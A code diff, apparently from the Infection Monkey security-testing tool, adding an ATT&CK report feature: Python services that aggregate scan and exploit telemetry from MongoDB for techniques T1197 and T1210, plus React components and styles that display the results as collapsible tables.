def __init__(self):
pass
@staticmethod
def generate_new_report():
"""
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
report = {'techniques': {}, 'meta': AttackTelemService.get_latest_telem(), 'name': REPORT_NAME}
for tech_id, value in AttackConfig.get_technique_values().items():
if value:
try:
report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
except KeyError as e:
LOG.error("Attack technique does not have it's report component added "
"to attack report service. %s" % e)
mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
return report
@staticmethod
def get_latest_report():
"""
Gets latest report (by retrieving it from db or generating a new one).
:return: report dict.
"""
if AttackReportService.is_report_generated():
telem_time = AttackTelemService.get_latest_telem()
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
if telem_time and latest_report['meta'] and telem_time['time'] == latest_report['meta']['time']:
return latest_report
return AttackReportService.generate_new_report()
@staticmethod
def is_report_generated():
"""
Checks if report is generated
:return: True if report exists, False otherwise
"""
generated_report = mongo.db.attack_report.find_one({})
return generated_report is not None

View File

@ -75,7 +75,7 @@ SCHEMA = {
"type": "object",
"properties": {
"T1197": {
"title": "T1197 Bits jobs",
"title": "T1197 BITS jobs",
"type": "bool",
"value": True,
"necessary": True,

View File

@ -22,3 +22,9 @@ class AttackTelemService(object):
"""
data.update({'technique': technique})
mongo.db.attack_results.insert(data)
mongo.db.attack_results.update({'name': 'latest'}, {'name': 'latest', 'time': data['time']}, upsert=True)
@staticmethod
def get_latest_telem():
return mongo.db.attack_results.find_one({'name': 'latest'})

View File

@ -0,0 +1,25 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
__author__ = "VakarisZ"
class T1197(AttackTechnique):
tech_id = "T1197"
unscanned_msg = "Monkey didn't try to use any bits jobs."
scanned_msg = "Monkey tried to use bits jobs but failed."
used_msg = "Monkey successfully used bits jobs at least once in the network."
@staticmethod
def get_report_data():
data = T1197.get_tech_base_data(T1197)
bits_results = mongo.db.attack_results.aggregate([{'$match': {'technique': T1197.tech_id}},
{'$group': {'_id': {'ip_addr': '$machine.ip_addr', 'usage': '$usage'},
'ip_addr': {'$first': '$machine.ip_addr'},
'domain_name': {'$first': '$machine.domain_name'},
'usage': {'$first': '$usage'},
'time': {'$first': '$time'}}
}])
bits_results = list(bits_results)
data.update({'bits_jobs': bits_results})
return data

View File

@ -0,0 +1,54 @@
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
TECHNIQUE = "T1210"
MESSAGES = {
'unscanned': "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?",
'scanned': "Monkey scanned for remote services on the network, but couldn't exploit any of them.",
'used': "Monkey scanned for remote services and exploited some on the network."
}
class T1210(AttackTechnique):
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
used_msg = "Monkey scanned for remote services and exploited some on the network."
@staticmethod
def get_report_data():
data = {'title': T1210.technique_title(TECHNIQUE)}
scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services()
if exploited_services:
data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg})
elif scanned_services:
data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg})
else:
data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg})
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data
@staticmethod
def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'scan'}},
{'$sort': {'data.service_count': -1}},
{'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
return list(results)
@staticmethod
def get_exploited_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'exploit', 'data.result': True}},
{'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'service': {'$first': '$data.info'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
return list(results)

View File

@ -0,0 +1,88 @@
import abc
from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
class AttackTechnique(object):
""" Abstract class for ATT&CK report components """
__metaclass__ = abc.ABCMeta
@abc.abstractproperty
def unscanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was not scanned.
"""
pass
@abc.abstractproperty
def scanned_msg(self):
"""
:return: Message that will be displayed in case attack technique was scanned.
"""
pass
@abc.abstractproperty
def used_msg(self):
"""
:return: Message that will be displayed in case attack technique was used by the scanner.
"""
pass
@abc.abstractproperty
def tech_id(self):
"""
:return: Message that will be displayed in case of attack technique not being scanned.
"""
pass
@staticmethod
@abstractstatic
def get_report_data():
"""
:return: Report data aggregated from the database.
"""
pass
@staticmethod
def technique_status(technique):
"""
Gets the status of a certain attack technique.
:param technique: technique's id.
:return: ScanStatus Enum object
"""
if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}):
return ScanStatus.USED
elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}):
return ScanStatus.SCANNED
else:
return ScanStatus.UNSCANNED
@staticmethod
def technique_title(technique):
"""
:param technique: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force"
"""
return AttackConfig.get_technique(technique)['title']
@staticmethod
def get_tech_base_data(technique):
"""
Gathers basic attack technique data into a dict.
:param technique: Technique's id. E.g. T1110
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
"""
data = {}
status = AttackTechnique.technique_status(technique.tech_id)
title = AttackTechnique.technique_title(technique.tech_id)
data.update({'status': status.name, 'title': title})
if status == ScanStatus.UNSCANNED:
data.update({'message': technique.unscanned_msg})
elif status == ScanStatus.SCANNED:
data.update({'message': technique.scanned_msg})
else:
data.update({'message': technique.used_msg})
return data

File diff suppressed because it is too large Load Diff

View File

@ -65,6 +65,8 @@
"webpack-dev-server": "^3.1.9"
},
"dependencies": {
"@kunukn/react-collapse": "^1.0.5",
"classnames": "^2.2.6",
"bootstrap": "3.4.1",
"core-js": "^2.5.7",
"downloadjs": "^1.4.7",

View File

@ -0,0 +1,57 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
class T1210 extends React.Component {
constructor(props) {
super(props);
this.columns = [ {Header: 'Machine',
id: 'machine', accessor: x => T1210.renderMachine(x),
style: { 'whiteSpace': 'unset' },
width: 200},
{Header: 'Time',
id: 'time', accessor: x => x.time,
style: { 'whiteSpace': 'unset' },
width: 170},
{Header: 'Usage',
id: 'usage', accessor: x => x.usage,
style: { 'whiteSpace': 'unset' }}
]
}
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
renderExploitedMachines(){
if (this.props.data.bits_jobs.length === 0){
return (<div />)
} else {
return (<ReactTable
columns={this.columns}
data={this.props.data.bits_jobs}
showPagination={false}
defaultPageSize={this.props.data.bits_jobs.length}
/>)
}
}
render() {
return (
<div className="data-table-container">
<div>
<div>{this.props.data.message}</div>
{this.props.data.bits_jobs.length > 0 ? <div>BITS jobs were used in these machines: </div> : ''}
</div>
<br/>
{this.renderExploitedMachines()}
</div>
);
}
}
export default T1210;

View File

@ -0,0 +1,100 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
class T1210 extends React.Component {
constructor(props) {
super(props);
}
static getScanColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])}
static getExploitColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])};
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
static renderEndpoint(val){
return (
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>
)
};
static formatScanned(data){
let result = [];
for(let service in data.machine.services){
let scanned_service = {'machine': data.machine,
'time': data.time,
'service': {'port': [data.machine.services[service].port],
'display_name': data.machine.services[service].display_name}};
result.push(scanned_service)
}
return result
};
renderScannedServices(data) {
return (
<div>
<br/>
<div>Found services: </div>
<ReactTable
columns={T1210.getScanColumns()}
data={data}
showPagination={false}
defaultPageSize={data.length}
/>
</div>)
}
renderExploitedServices(data) {
return (
<div>
<br/>
<div>Exploited services: </div>
<ReactTable
columns={T1210.getExploitColumns()}
data={data}
showPagination={false}
defaultPageSize={data.length}
/>
</div>)
}
render() {
let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat();
return (
<div>
<div>{this.props.data.message}</div>
{scanned_services.length > 0 ?
this.renderScannedServices(scanned_services) : ''}
{this.props.data.exploited_services.length > 0 ?
this.renderExploitedServices(this.props.data.exploited_services) : ''}
</div>
);
}
}
export default T1210;

View File

@ -11,6 +11,7 @@ import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent';
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
import StrongUsers from "components/report-components/StrongUsers";
import AttackReport from "components/report-components/AttackReport";
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
let monkeyLogoImage = require('../../images/monkey-icon.svg');
@ -141,6 +142,7 @@ class ReportPageComponent extends AuthComponent {
{this.generateReportFindingsSection()}
{this.generateReportRecommendationsSection()}
{this.generateReportGlanceSection()}
{this.generateAttackSection()}
{this.generateReportFooter()}
</div>
<div className="text-center no-print" style={{marginTop: '20px'}}>
@ -509,6 +511,21 @@ class ReportPageComponent extends AuthComponent {
);
}
generateAttackSection() {
return (<div id="attack">
<h3>
ATT&CK report
</h3>
<p>
This report shows information about ATT&CK techniques used by Infection Monkey.
</p>
<div>
<AttackReport/>
</div>
<br />
</div>)
}
generateReportFooter() {
return (
<div id="footer" className="text-center" style={{marginTop: '20px'}}>

View File

@ -0,0 +1,157 @@
import React from 'react';
import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent';
import Collapse from '@kunukn/react-collapse';
import T1210 from '../attack/techniques/T1210';
import T1197 from '../attack/techniques/T1197';
import '../../styles/Collapse.scss'
const tech_components = {
'T1210': T1210,
'T1197': T1197
};
const classNames = require('classnames');
class AttackReportPageComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {
report: false,
allMonkeysAreDead: false,
runStarted: true,
collapseOpen: ''
};
}
componentDidMount() {
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
}
updateMonkeysRunning = () => {
return this.authFetch('/api')
.then(res => res.json())
.then(res => {
// This check is used to prevent unnecessary re-rendering
this.setState({
allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
runStarted: res['completed_steps']['run_monkey']
});
return res;
});
};
getReportFromServer(res) {
if (res['completed_steps']['run_monkey']) {
this.authFetch('/api/attack/report')
.then(res => res.json())
.then(res => {
this.setState({
report: res
});
});
}
}
onToggle = technique =>
this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique }));
getComponentClass(tech_id){
switch (this.state.report[tech_id].status) {
case 'SCANNED':
return 'collapse-info';
case 'USED':
return 'collapse-danger';
default:
return 'collapse-default';
}
}
getTechniqueCollapse(tech_id){
return (
<div key={tech_id} className={classNames("collapse-item", { "item--active": this.state.collapseOpen === tech_id })}>
<button className={classNames("btn-collapse", this.getComponentClass(tech_id))} onClick={() => this.onToggle(tech_id)}>
<span>{this.state.report[tech_id].title}</span>
<span>
<i className={classNames("fa", this.state.collapseOpen === tech_id ? "fa-chevron-down" : "fa-chevron-up")}></i>
</span>
</button>
<Collapse
className="collapse-comp"
isOpen={this.state.collapseOpen === tech_id}
onChange={({ collapseState }) => {
this.setState({ tech_id: collapseState });
}}
onInit={({ collapseState }) => {
this.setState({ tech_id: collapseState });
}}
render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/>
</div>
);
}
createTechniqueContent(collapseState, technique) {
const TechniqueComponent = tech_components[technique];
return (
<div className={`content ${collapseState}`}>
<TechniqueComponent data={this.state.report[technique]} />
</div>
);
}
renderLegend() {
return( <div id="header" className="row justify-content-between attack-legend">
<Col xs={4}>
<i className="fa fa-circle icon-default"></i>
<span> - Unscanned</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-info"></i>
<span> - Scanned</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-danger"></i>
<span> - Used</span>
</Col>
</div>)
}
generateReportContent(){
let content = [];
Object.keys(this.state.report).forEach((tech_id) => {
content.push(this.getTechniqueCollapse(tech_id))
});
return (
<div>
{this.renderLegend()}
<section className="app">{content}</section>
</div>
)
}
render() {
let content;
if (! this.state.runStarted)
{
content =
<p className="alert alert-warning">
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
You have to run a monkey before generating a report!
</p>;
} else if (this.state.report === false){
content = (<h1>Generating Report...</h1>);
} else if (Object.keys(this.state.report).length === 0) {
if (this.state.runStarted) {
content = (<h1>No techniques were scanned</h1>);
}
} else {
content = this.generateReportContent();
}
return ( <div> {content} </div> );
}
}
export default AttackReportPageComponent;

View File

@ -520,11 +520,27 @@ body {
}
/* Attack config page */
/* Attack pages */
.attack-matrix .messages {
margin-bottom: 30px;
}
.icon-info {
color: #ade3eb !important;
}
.icon-warning {
color: #f0ad4e !important;
}
.icon-danger {
color: #d9acac !important;
}
.icon-default {
color: #e0ddde !important;
}
.attack-legend {
text-align: center;
margin-bottom: 20px;
@ -539,3 +555,9 @@ body {
margin-left: auto;
margin-right: auto;
}
.attack-report.footer-text{
text-align: right;
font-size: 0.8em;
margin-top: 20px;
}

View File

@ -0,0 +1,96 @@
$transition: 500ms cubic-bezier(0.4, 0.1, 0.1, 0.5);
$danger-color: #d9acac;
$info-color: #ade3eb;
$default-color: #e0ddde;
.collapse-item button {
font-size: inherit;
margin: 0;
padding: 1rem;
background: transparent;
border: 1px solid #ccc;
box-shadow: none;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
}
.collapse-item button span:first-child{
text-align:left;
}
.collapse-item button {
width: 100%;
box-shadow: 0 2px 6px #ccc;
border: none;
transition: background-color $transition;
display: flex;
font-family: inherit;
> span {
display: inline-block;
flex: 4;
text-align: right;
&:nth-child(2) {
flex: 3;
}
}
}
.collapse-danger {
background-color: $danger-color !important;
}
.collapse-info {
background-color: $info-color !important;
}
.collapse-default {
background-color: $default-color !important;
}
.collapse-item {
padding: 0.5rem;
&--active {
.btn-collapse {
background-color: #f7f7f7;
}
}
}
.collapse-item .collapse-comp {
padding: 0 7px 7px 7px;
border: 2px solid rgb(232, 228, 228);
border-top: 0;
display:block !important;
transition: height $transition;
overflow: hidden;
}
.collapse-item .content {
padding: 2rem 0;
transition: transform $transition;
will-change: transform;
$offset: 10px;
&.collapsing {
transform: translateY(-$offset);
}
&.collapse-comp {
transform: translateY(-$offset);
}
&.expanding {
transform: translateX(0px);
}
&.expanded {
transform: translateX(0px);
}
}
.collapse-item .text {
margin-bottom: 1rem;
}
.collapse-item .state {
display: inline-block;
min-width: 6em;
}